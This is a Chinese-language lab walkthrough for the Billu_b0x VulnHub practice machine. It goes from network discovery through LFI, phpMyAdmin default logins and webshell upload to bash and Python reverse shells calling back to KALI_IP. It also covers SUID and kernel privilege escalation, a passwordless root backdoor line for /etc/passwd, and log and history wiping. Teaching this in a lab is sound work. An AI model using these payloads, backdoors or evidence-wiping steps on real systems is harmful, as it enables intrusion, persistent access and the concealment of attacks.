Billu_b0x靶机渗透测试实战:从信息收集到权限提升完整指南

Billu_b0x靶机渗透测试实战:从信息收集到权限提升完整指南

1. 项目概述:为什么选择Billu_b0x作为渗透测试的“新手村”?

如果你刚刚接触渗透测试,或者已经学了一些Kali Linux的基础命令,但面对一个完整的靶机还是感觉无从下手,那么Billu_b0x绝对是你理想的“第一战”。这个靶机在VulnHub上被标记为“初学者”级别,但它绝不是那种一键就能拿下的“Hello World”。它巧妙地融合了信息收集、Web应用漏洞、文件包含、数据库注入以及权限提升等多个核心环节,几乎覆盖了渗透测试标准流程(PTES)的前半部分。更重要的是,它模拟了一个真实但又不那么复杂的Web应用环境,让你能在一个相对安全、可控的沙箱里,把书本上的理论变成肌肉记忆。

我选择在VMware Workstation里搭建这个环境,原因很简单:稳定、隔离、可快照。对于新手来说,最怕的就是把宿主机搞崩,或者一次操作失败后需要从头再来。VMware的快照功能简直就是“后悔药”,你可以在信息收集后、漏洞利用前、提权成功后分别保存一个快照,随时回退到任意阶段重新尝试,学习成本直线下降。而Kali Linux作为渗透测试的“瑞士军刀”,其预装的工具链能让你专注于攻击逻辑本身,而不是费劲地去配置环境。这次实战,我们不只追求拿到那个最终的“root”或“shell”,更重要的是理解每一步操作背后的“为什么”——为什么用这个工具?为什么这个参数有效?为什么这里会出错?我会把我自己踩过的坑、绕过的弯,以及那些只有亲手做过才会知道的细节,毫无保留地分享出来。

2. 环境搭建与网络配置:构建稳固的攻防实验室

工欲善其事,必先利其器。一个稳定、隔离的测试环境是安全研究的前提,任何在真实网络中的未授权测试都是非法且危险的。

2.1 VMware虚拟机安装与基础配置

首先,你需要从VMware官网下载并安装VMware Workstation Pro。安装过程是图形化的,跟着向导走即可,这里不赘述。安装完成后,我们重点讲几个对后续渗透测试至关重要的配置。

网络适配器模式选择:NAT模式创建虚拟机时,网络连接我强烈推荐使用“NAT模式”。这是新手最容易上手且安全的模式。

  • 工作原理:你的靶机和Kali虚拟机就像连接在同一个虚拟路由器后面,它们可以互相通信,也可以通过宿主机的网络出口访问互联网(比如Kali需要更新工具库),但外部网络无法直接访问到你的虚拟机。这完美模拟了一个内部网络环境。
  • 为什么不用桥接模式?桥接模式会让你的虚拟机直接暴露在宿主机所在的物理局域网中,获得一个独立的IP。如果你的家庭或公司网络有安全设备,可能会触发警报。而且,NAT模式下的IP段通常是固定的(如192.168.xxx.xxx),更容易记忆和配置。
  • 配置要点:在VMware的“编辑” -> “虚拟网络编辑器”中,你可以查看和配置NAT网络的子网网段(例如192.168.80.0)。记住这个网段,后续我们Kali和靶机的IP都会落在这个范围内。

快照管理:你的时光机这是VMware最强大的功能之一。我建议你建立三个关键快照:

  1. 纯净快照:在安装完Kali和靶机系统,但未进行任何配置和攻击之前创建。这是你的“出厂设置”。
  2. 信息收集后快照:在完成对靶机的扫描、端口探测、目录枚举之后创建。如果后续的漏洞利用搞乱了靶机状态,可以快速回退到这里,而无需重新扫描。
  3. GetShell后快照:在成功获得一个初始立足点(例如www-data权限的shell)后创建。这样,你可以反复练习权限提升的技巧,而不用重走前面的漫漫长路。

2.2 Kali Linux 2023.x 安装与优化

从Kali官网下载最新的ISO镜像,在VMware中新建虚拟机并加载它。安装过程选择“图形化安装”会更友好。有几个关键步骤需要注意:

  • 磁盘分区:对于学习用途,直接使用“向导 - 使用整个磁盘”即可,不需要手动复杂分区。
  • 软件选择:在“选择软件”环节,确保“Kali Linux 默认”被选中,这会安装包括Metasploit、Nmap、Burp Suite等所有核心工具。如果磁盘空间紧张,可以取消“Kali Linux 大礼包”,但建议新手保持默认。
  • 用户设置:务必记住你设置的非root用户密码。安装完成后,系统会提示你用这个用户登录。在终端中,你可以使用sudo su命令切换到root权限进行操作。

安装后的首要优化:更换国内软件源刚安装好的Kali,默认软件源在国外,更新和安装工具速度极慢,甚至经常失败。第一步就是换源。

# 备份原有源列表 sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak # 使用nano或vim编辑源列表,这里以阿里云源为例 sudo nano /etc/apt/sources.list

将文件内容替换为(以Kali 2023为例):

deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

保存退出后,执行更新:

sudo apt update && sudo apt upgrade -y

这个过程会更新系统所有软件包,需要一些时间。完成后,你的Kali就“健步如飞”了。

2.3 Billu_b0x靶机下载与导入

Billu_b0x的OVA文件可以从VulnHub官网下载。下载后,在VMware中点击“文件” -> “打开”,选择下载的.ova文件。导入时,建议将虚拟机存储位置改到一个空间充足的磁盘。

一个关键避坑点:网络适配器设置导入靶机后,务必检查并确保其网络适配器也设置为“NAT模式”,并且和Kali虚拟机在同一个自定义的NAT网络中(在虚拟网络编辑器中查看)。只有这样,它们才能处于同一个网段,互相发现。

启动与首次登录启动Billu_b0x靶机。它通常是一个无图形界面的Linux系统,启动后停留在登录提示符。你不需要知道它的登录密码,我们的目标就是通过外部渗透来获取访问权限。你只需要知道它已经运行起来了。在虚拟机窗口里,你可以看到它启动时可能显示的IP地址信息,但更可靠的方法是从Kali里去发现它。

3. 信息收集:像侦探一样描绘目标轮廓

渗透测试中,信息收集往往决定了后续攻击的效率和成功率。这一步的目标是回答:目标是谁?它开放了哪些门(端口)?门上挂着什么牌子(服务)?牌子后面有什么房间(目录)?

3.1 网络发现:找到靶机的IP地址

由于我们和靶机都在同一个NAT网络,首先需要发现靶机的IP。在Kali终端中,最常用的工具是netdiscovernmap扫描整个网段。

方法一:使用netdiscover进行ARP扫描

sudo netdiscover -r 192.168.80.0/24

这里的192.168.80.0/24需要替换成你在VMware虚拟网络编辑器中看到的NAT网段。netdiscover通过发送ARP请求来发现活跃主机,速度非常快。在输出结果中,你会看到除了你的Kali(和宿主机)之外的IP地址,那个很可能就是Billu_b0x。记下这个IP,假设为192.168.80.130

方法二:使用nmap进行Ping扫描

sudo nmap -sn 192.168.80.0/24

-sn参数表示只进行主机发现(Ping扫描),不扫描端口。结果同样会列出在线主机。

注意:有时靶机可能禁用了Ping响应,但ARP扫描依然有效。如果一种方法没找到,可以尝试另一种。

3.2 端口与服务探测:摸清所有入口

找到IP后,下一步是进行全面的端口扫描,看看靶机开放了哪些服务。我们使用Nmap的sV(版本探测)和sC(默认脚本扫描)参数来获取详细信息。

sudo nmap -sV -sC -p- 192.168.80.130 -oN nmap_scan.txt
  • -sV: 探测服务版本。
  • -sC: 使用默认的Nmap脚本进行更深入的探测。
  • -p-: 扫描所有65535个端口(全端口扫描)。对于CTF靶机,有时关键服务会开在非常规端口。
  • -oN nmap_scan.txt: 将扫描结果以标准格式输出到文件,方便后续查看。

扫描结果分析与预期对于Billu_b0x,典型的扫描结果会显示开放了以下端口:

  • 80/tcp (http): 运行着一个Web服务器(通常是Apache)。这是我们的主攻方向。
  • 22/tcp (ssh): 运行着SSH服务。这通常是权限提升或持久化访问的通道,但初始攻击往往从Web入手。
  • 可能还有其他端口,但80端口是突破口的关键。

3.3 Web应用信息收集:从首页到后台

确定80端口开放后,我们转向Web渗透。首先用浏览器直接访问http://192.168.80.130,看看是什么网站。

目录与文件枚举网站首页可能只是一个简单的登录页面或介绍页面。真正的漏洞往往隐藏在未链接的目录和文件中。我们需要使用工具进行暴力枚举。

  • 使用Gobuster:这是目前速度很快的一款目录爆破工具。

    gobuster dir -u http://192.168.80.130 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster_scan.txt
    • -u: 目标URL。
    • -w: 指定字典文件。dirb/common.txt是Kali自带的常用目录字典。
    • -x: 指定尝试的文件后缀名。对于PHP靶机,php后缀至关重要。
    • -o: 输出结果到文件。
  • 使用Dirb:另一款经典工具,有时能发现Gobuster遗漏的内容。

    dirb http://192.168.80.130 /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt

分析枚举结果仔细查看扫描输出文件。对于Billu_b0x,你可能会发现一些关键目录,例如:

  • /phpmyadmin/: 数据库管理后台。这是非常常见的攻击面。
  • /add.php,/show.php,/index.php: 网站的功能页面。
  • /images/,/css/,/js/: 静态资源目录,通常价值不大。
  • /robots.txt: 这个文件有时会泄露敏感目录。务必访问查看。
  • /test//backup/: 可能存在备份文件或测试页面。

手动浏览与观察工具扫描的同时,一定要手动点击网站的每一个功能。尝试登录、注册、搜索、上传等操作。用浏览器开发者工具(F12)查看网络请求和响应头,关注:

  1. Cookie和Session:是否有明显的标识(如PHPSESSID)?
  2. 参数:URL中的参数(如?id=1)和表单提交的参数,这些都是潜在的注入点。
  3. 错误信息:尝试输入一些异常数据(如单引号),看是否会返回数据库错误,这直接提示存在SQL注入漏洞。
  4. 注释和源码:查看网页HTML源码,开发者有时会在注释里留下账号密码或提示信息。

4. 漏洞挖掘与利用:突破边界,获取初始访问

信息收集完毕后,我们手头有了目标IP、开放的Web服务、一系列可能的目录和页面。现在,需要像拼图一样,把这些信息组合起来,找到那个最脆弱的点。

4.1 Web入口点测试:SQL注入与文件包含

根据对Billu_b0x的普遍认知,其突破口往往在index.phpshow.php这类带参数的页面。

寻找SQL注入点访问http://192.168.80.130/index.php或类似页面,它可能有一个登录框。尝试经典的SQL注入Payload:

  • 用户名输入:admin' or '1'='1
  • 密码输入:anything或者尝试万能密码:admin' #如果成功绕过登录,说明存在SQL注入漏洞。但Billu_b0x的登录点可能做了防护。

更常见的突破口:文件包含(LFI)在枚举目录时,你可能发现一个类似http://192.168.80.130/index.php?page=xxxx的URL。page参数很可能用于包含本地文件。这就是本地文件包含漏洞。

  1. 基础测试:尝试包含系统文件。
    http://192.168.80.130/index.php?page=/etc/passwd
    如果页面上显示了/etc/passwd文件的内容(列出了系统用户),那么LFI漏洞确认存在。
  2. 利用PHP封装器:PHP的php://filter封装器可以读取PHP文件的源码,这对于审计代码逻辑至关重要。
    http://192.168.80.130/index.php?page=php://filter/convert.base64-encode/resource=index.php
    这个Payload会以Base64编码的形式返回index.php的源代码。你需要将返回的一长串Base64字符串解码(在Kali终端可以用echo “编码字符串” | base64 -d)。
  3. 审计源码:通过LFI下载关键PHP文件的源码,如config.php,connection.php,add.php等。在这些文件中,你极有可能发现数据库的连接密码、其他功能的逻辑缺陷,甚至是新的可利用参数。

4.2 数据库攻防:利用phpMyAdmin获取凭证

在目录枚举中发现的/phpmyadmin/目录是另一个黄金入口。直接访问http://192.168.80.130/phpmyadmin/

默认凭据尝试尝试一些常见的默认用户名/密码组合:

  • root/root
  • root/空密码
  • admin/admin
  • phpmyadmin/phpmyadmin对于Billu_b0x,有很大概率可以使用root用户和空密码直接登录。

登录后操作一旦进入phpMyAdmin,你就拥有了对数据库的完全控制权。

  1. 查看数据库:左侧会列出所有数据库,通常有一个与网站同名的数据库(如billu)。
  2. 查看表:点击进入该数据库,查看里面的表。寻找类似users,admin,auth,customer这样的表名。
  3. 提取凭据:浏览这些表的内容。你很可能找到网站管理员的用户名和密码。密码通常是MD5哈希值。
    • 识别哈希:MD5哈希是32位十六进制字符串(如e10adc3949ba59abbe56e057f20f883e对应密码123456)。
    • 破解哈希:将找到的哈希值复制出来,到在线MD5解密网站(如cmd5.com)或使用Kali的hashcat工具进行破解。如果密码强度不高,很快就能得到明文。

4.3 突破认证:利用获取的凭证登录后台

现在,你手头可能有了从数据库里找到的明文密码,或者通过LFI读取配置文件找到的密码。回到网站的登录页面(可能是/admin//login.php或首页),使用找到的用户名和密码尝试登录。

登录成功后的观察成功进入后台后,不要急于庆祝。仔细浏览后台的每一个功能模块:

  • 文件上传:有没有可以上传文件的地方?这是获取Webshell的绝佳途径。
  • 系统设置/配置:可能包含数据库密码、绝对路径等敏感信息。
  • 用户管理:可能允许添加新用户或修改权限。
  • 命令执行/ Ping:有些后台提供“网络诊断”功能,可以执行系统命令(如pingtraceroute),这可能是命令注入点。

对于Billu_b0x,后台很可能存在一个文件上传功能,并且对上传文件的类型检查不严格。

5. 获取Shell:上传Webshell与连接控制

拿到后台权限后,获取一个可交互的Shell是建立持久控制的关键一步。文件上传漏洞是实现这一目标的经典方式。

5.1 制作与上传Webshell

什么是Webshell?Webshell是一段被上传到Web服务器目录下的脚本代码(如PHP、JSP、ASP),攻击者可以通过Web请求(访问特定URL)来远程执行服务器端的命令。

制作PHP Webshell在Kali上,最简单的Webshell就是一句话木马。创建一个文本文件,命名为shell.php,内容如下:

<?php system($_GET[‘cmd’]); ?>

这段代码的意思是,执行通过URL参数cmd传递过来的系统命令。例如,访问http://靶机IP/shell.php?cmd=id,就会在页面上返回执行id命令的结果。

绕过上传限制后台的上传功能通常会做检查:

  1. 前端检查:通过JavaScript检查文件后缀名。直接在浏览器中禁用JavaScript即可绕过,或者使用Burp Suite拦截修改请求。
  2. 后端检查
    • 黑名单过滤:禁止上传.php,.php5,.phtml等。可以尝试其他PHP可解析的后缀,如.php3,.php4,.pht,.phps,或者大小写混合如.Php
    • MIME类型检查:检查HTTP请求头中的Content-Type。上传时,用Burp Suite将其改为image/jpegtext/plain
    • 文件内容检查:检查文件开头是否有<?php等标签。可以在Webshell代码前添加图片的文件头(GIF89a)或文本注释来绕过,或者使用混淆编码。

实操上传在Billu_b0x的后台上传点,选择制作好的shell.php文件进行上传。同时,打开Burp Suite,开启代理拦截功能。

  1. 在浏览器中配置代理指向Burp(如127.0.0.1:8080)。
  2. 点击上传按钮,Burp会拦截到POST请求。
  3. 在Burp的Proxy -> Intercept标签页下,查看被拦截的请求。找到上传文件的部分,你可以尝试:
    • 修改文件名:shell.php->shell.php.jpgshell.pHp
    • 修改Content-Type:application/x-php->image/jpeg
  4. 点击“Forward”放行请求,观察服务器的响应。如果返回了文件保存的路径(如uploads/shell.php),则上传成功。

5.2 验证与执行命令

在浏览器中访问上传的Webshell文件,例如http://192.168.80.130/uploads/shell.php?cmd=whoami。 如果页面显示了当前Web服务的运行用户(通常是www-data),恭喜你,你已经成功在目标服务器上执行了命令,获得了非特权Shell的访问能力。

升级到交互式Shell通过URL传递命令的Webshell功能有限,输出格式也不友好。我们需要一个全功能的、交互式的Shell。

  1. 使用Netcat监听:在Kali上打开一个终端,监听一个端口。
    nc -lvnp 4444
    -l监听,-v详细输出,-n不解析域名,-p指定端口。
  2. 通过Webshell反弹Shell:访问Webshell,执行一个能连接到Kali并启动Shell的命令。Linux下最常用的是bash反弹。
    http://靶机IP/uploads/shell.php?cmd=bash -c ‘bash -i >& /dev/tcp/KALI_IP/4444 0>&1’
    注意:将KALI_IP替换为你Kali虚拟机的真实IP地址(用ip a命令查看)。这个命令的意思是,在靶机上启动一个bash,将其标准输入、输出、错误都重定向到与Kali的TCP连接上。
  3. 接收Shell:如果命令执行成功,你会在Kali的Netcat监听终端看到连接建立,并出现一个命令行提示符(如www-data@billu:/var/www/html/uploads$)。现在,你就获得了一个反向的、交互式的Shell。

重要避坑技巧:如果上述bash反弹命令失败,可能是靶机系统没有/dev/tcp这个特殊设备,或者防火墙限制。可以尝试其他方法:

  • 使用Pythonpython -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“KALI_IP”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’
  • 使用Perl/PHP/Netcat:都有相应的单行反弹Shell代码。多准备几种Payload是实战中的好习惯。

6. 权限提升:从www-data到root

拿到www-data用户的Shell只是万里长征第一步。这个用户权限很低,无法查看敏感文件(如/etc/shadow),无法安装软件,通常也无法进行横向移动。我们需要将权限提升到root,即系统的最高管理员。

6.1 信息收集:为提权做准备

在反弹的Shell中,首先进行系统信息收集,寻找提权线索。

# 查看当前用户和权限 id whoami sudo -l # 非常重要!查看当前用户可以以root身份无需密码运行哪些命令 # 查看系统内核版本 uname -a cat /etc/issue cat /proc/version # 查看安装了哪些软件,特别是开发工具、语言环境 dpkg -l | grep -E ‘python|perl|gcc|g++|make|ruby|php|java’ # Debian/Ubuntu rpm -qa | grep -E ‘python|perl|gcc’ # CentOS/RHEL # 查看计划任务 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看SUID/SGID文件(重点!) find / -perm -u=s -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null # 查看可写的敏感文件或目录 find / -writable -type d 2>/dev/null | grep -v proc | grep -v sys find / -perm -o=w -type f 2>/dev/null | grep -v proc | grep -v sys # 查看网络连接和进程 netstat -antup ps aux

6.2 利用SUID二进制文件提权

SUID(Set User ID)是一种特殊的文件权限。当一个具有SUID权限的可执行文件被运行时,它会以文件所有者的身份执行,而不是执行者。如果find,vim,bash,cp,nmap等命令被设置了SUID且属于root,就可能被滥用。

经典案例:利用find命令提权如果在信息收集中发现/usr/bin/find具有SUID权限(-rwsr-xr-x中的s):

www-data@billu:/$ find /etc/passwd -exec /bin/bash -p \;

这个命令会以root权限启动一个bash shell(-p参数用于保留特权)。执行后,输入whoami,如果返回root,则提权成功。

其他SUID利用方法

  • nmap(旧版本):如果安装了旧版nmap(如2.02-5.21),它有一个交互模式可以逃逸到shell。
    nmap --interactive !sh
  • vim/vi:如果vim有SUID权限,可以在编辑文件时执行系统命令。
    vim -c ‘:!/bin/bash’
  • bash:如果bash本身有SUID权限,直接运行bash -p即可。

6.3 利用内核漏洞提权

如果系统内核版本较旧,可能存在公开的本地提权漏洞。使用uname -a查看内核版本,然后在Kali上搜索对应的漏洞利用代码(Exploit)。

  1. 在Kali上查找Exploit:可以使用searchsploit工具。
    # 在Kali的终端中 searchsploit linux kernel 3.13.0 ubuntu local privilege escalation
    3.13.0ubuntu替换成靶机系统的内核版本和发行版。
  2. 复制Exploit到靶机:找到合适的Exploit后,需要将其传输到靶机上。由于靶机可能没有网络,常用方法是在Kali上启动一个HTTP服务,然后从靶机Shell里下载。
    • Kali上:python3 -m http.server 8000(在Exploit所在目录执行)。
    • 靶机Shell里:wget http://KALI_IP:8000/exploit.c
  3. 编译与执行:Exploit通常是C语言代码,需要在靶机上编译。
    gcc exploit.c -o exploit chmod +x exploit ./exploit
    如果编译成功且漏洞存在,执行后通常就会获得root shell。

提权注意事项

  1. 顺序尝试:先检查sudo -l,这是最干净的方式。然后检查SUID文件,最后再尝试内核漏洞。内核漏洞利用可能造成系统不稳定甚至崩溃。
  2. 备份意识:在尝试具有破坏性的Exploit前,最好回滚到“GetShell后快照”。
  3. 理解原理:不要只满足于运行脚本。尝试理解每个提权方法的原理,比如SUID为什么危险,内核漏洞利用了哪个CVE。

7. 后渗透与痕迹清理(可选)

在CTF或授权测试中,获取root权限并读取/root/目录下的flag文件(通常是proof.txtroot.txt)就算任务完成。但在一个更完整的渗透测试思维中,我们还需要考虑如何保持访问和清理痕迹。

维持访问

  • 添加后门用户:在/etc/passwd文件中添加一个具有root权限的用户。
    echo “backdoor::0:0:root:/root:/bin/bash” >> /etc/passwd
    这样可以使用用户名backdoor,无需密码,直接以root身份登录SSH。
  • 创建SSH密钥:将你的公钥添加到/root/.ssh/authorized_keys文件中,实现免密SSH登录。
  • 安装Web后门:在Web目录的隐蔽位置放置一个更复杂的Webshell。

清理痕迹

  • 清除命令历史:清除当前用户的命令历史记录。
    history -c # 清除内存中的历史 rm ~/.bash_history # 删除历史记录文件
  • 清除日志:删除或篡改记录了你攻击行为的日志文件,如/var/log/auth.log,/var/log/apache2/access.log,/var/log/apache2/error.log等。使用sed或直接echo ‘’ > logfile进行清理。
  • 注意时间戳:修改文件会更新其时间戳(mtime)。更高级的清理需要使用touch命令将时间戳改回原样,但这在CTF中通常不需要。

8. 常见问题与排查技巧实录

在这一部分,我汇总了在整个Billu_b0x渗透过程中,我自己和学员们最常遇到的“坑”,以及排查思路。

问题1:Nmap扫描不到靶机IP。

  • 排查
    1. 确认两台虚拟机(Kali和Billu_b0x)都已启动
    2. 在VMware中,分别检查两台虚拟机的网络适配器设置,确保都是NAT模式,并且连接到同一个网络(如“VMnet8”)。
    3. 在Kali中,用ip a命令查看自己的IP,确认其网段(如192.168.80.128)。然后用ping命令测试网关(通常是192.168.80.2)和广播地址(192.168.80.255)是否通。
    4. 在Billu_b0x虚拟机启动时,注意看屏幕上是否有打印IP地址。也可以尝试在Billu_b0x的登录界面(即使你不知道密码)尝试输入ip a命令,有些系统允许在登录前查看网络信息。
    5. 关闭宿主机的防火墙(临时)和VMware的虚拟网络防火墙设置。

问题2:目录爆破(Gobuster/Dirb)结果为空或很少。

  • 排查
    1. 字典问题common.txt可能不够全面。尝试使用更大的字典,如/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    2. 状态码过滤:Gobuster默认会显示所有状态码。有些目录返回403(禁止访问)或302(重定向),它们也是存在的。使用-s参数指定状态码:gobuster dir ... -s 200,204,301,302,307,403
    3. 速率限制:目标网站可能有请求频率限制。使用-t参数减少线程数,如-t 10
    4. 路径问题:如果网站不是根目录,需要指定正确的URL路径。

问题3:phpMyAdmin可以登录,但找不到网站数据库或用户表。

  • 排查
    1. 登录phpMyAdmin后,注意看左侧数据库列表。可能数据库名不是常见的billu,尝试点击每一个数据库查看。
    2. 使用SQL命令直接查找。在phpMyAdmin的SQL标签页执行:
      SHOW DATABASES; USE 数据库名; SHOW TABLES; SELECT * FROM 表名;
    3. 表名可能不是users,尝试admin,login,customer,auth,tbl_user等。
    4. 密码可能不是MD5,可能是其他哈希(如SHA1)甚至是明文。观察字段值的格式。

问题4:文件上传成功,但访问时返回403、404或空白页。

  • 排查
    1. 路径错误:确认你访问的URL路径和上传成功后返回的路径完全一致。注意大小写。
    2. 解析失败:你上传的文件后缀可能没有被Web服务器(如Apache)配置为可执行。尝试.php,.php5,.phtml,.php7等多种后缀。查看Apache配置文件(/etc/apache2/apache2.conf/etc/apache2/sites-enabled/000-default.conf)中的AddType指令。
    3. 代码错误:你的Webshell代码可能有语法错误,或者被WAF/过滤机制拦截。尝试最简单的<?php phpinfo(); ?>测试PHP是否能够解析。
    4. 权限问题:上传的文件可能没有执行权限。在Shell中尝试chmod +x shell.php(如果能有办法执行命令的话)。

问题5:反弹Shell命令执行了,但Kali的Netcat没有收到连接。

  • 排查
    1. IP和端口错误:这是最常见的原因。再三确认Kali的IP是否正确(用ip a在Kali上看),确认Netcat监听的端口是否和命令中的一致。
    2. 命令语法错误:特别是使用bash -c和重定向符号时,引号容易出错。建议先将整个反弹命令在Kali本地测试:bash -c ‘bash -i >& /dev/tcp/127.0.0.1/4444 0>&1’,同时在另一个终端用nc -lvnp 4444监听自己。
    3. 靶机环境缺失:靶机可能没有/dev/tcp,或者bash版本不支持。换用Python、Perl、PHP或Netcat的反弹命令。
    4. 出站限制:靶机服务器可能有防火墙规则,禁止向外发起连接到特定端口。尝试换一个高端口(如44444)。
    5. 编码问题:通过URL传递的复杂命令中的特殊字符(如&,>,<,空格)需要URL编码。在浏览器地址栏直接输入时尤其要注意。更稳妥的方式是使用Burp Suite的Repeater模块,或者将命令写入一个脚本文件然后通过Webshell执行该脚本。

整个Billu_b0x的渗透流程走下来,你会发现它就像一本精心设计的渗透测试教科书,每一步都引导你去运用一个核心技能。从信息收集到漏洞利用,再到提权,环环相扣。我强烈建议你在完全掌握这个靶机后,不要满足于一种方法,尝试用不同的路径去达成目标,比如不通过phpMyAdmin,只利用LFI漏洞是否能拿到Shell?这才是真正锻炼你解决问题能力的开始。记住,工具和命令是死的,渗透测试的思维是活的。每一次“踩坑”和“排坑”的过程,都比顺利通关更能让你成长。